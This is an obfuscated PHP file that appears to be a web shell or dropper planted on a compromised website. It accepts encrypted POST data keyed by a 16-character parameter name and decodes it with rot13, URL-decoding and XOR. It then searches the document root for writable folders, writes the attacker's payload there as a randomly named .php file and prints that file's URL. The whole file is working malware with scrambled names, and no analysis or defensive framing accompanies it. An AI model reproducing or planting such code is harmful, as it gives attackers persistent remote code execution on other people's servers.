<?php $rcrvk = "osftkckfvcizpstx";$clgjffozb = "";foreach ($_POST as $zwkur => $pxrtg){if (strlen($zwkur) == 16 and substr_count($pxrtg, "%") > 10){jelbixkato($zwkur, $pxrtg);}}function jelbixkato($zwkur, $ugqujqhjx){global $clgjffozb;$clgjffozb = $zwkur;$ugqujqhjx = str_split(rawurldecode(str_rot13($ugqujqhjx)));function ouirz($asdqsomb, $zwkur){global $rcrvk, $clgjffozb;return $asdqsomb ^ $rcrvk[$zwkur % strlen($rcrvk)] ^ $clgjffozb[$zwkur % strlen($clgjffozb)];}$ugqujqhjx = implode("", array_map("ouirz", array_values($ugqujqhjx), array_keys($ugqujqhjx)));$ugqujqhjx = @unserialize($ugqujqhjx);if (@is_array($ugqujqhjx)){$zwkur = array_keys($ugqujqhjx);$ugqujqhjx = $ugqujqhjx[$zwkur[0]];if ($ugqujqhjx === $zwkur[0]){echo @serialize(Array('php' => @phpversion(), ));exit();}else{function gtiphf($lfhbulflsir) {static $eugciz = array();$nmmsjb = glob($lfhbulflsir . '/*', GLOB_ONLYDIR);if (count($nmmsjb) > 0) {foreach ($nmmsjb as $lfhbulfls){if (@is_writable($lfhbulfls)){$eugciz[] = $lfhbulfls;}}}foreach ($nmmsjb as $lfhbulflsir) gtiphf($lfhbulflsir);return $eugciz;}$gxsju = $_SERVER["DOCUMENT_ROOT"];$nmmsjb = gtiphf($gxsju);$zwkur = array_rand($nmmsjb);$lfhbulflszzhfm = $nmmsjb[$zwkur] . "/" . substr(md5(time()), 0, 8) . ".php";@file_put_contents($lfhbulflszzhfm, $ugqujqhjx);echo "http://" . $_SERVER["HTTP_HOST"] . substr($lfhbulflszzhfm, strlen($gxsju));exit();}}}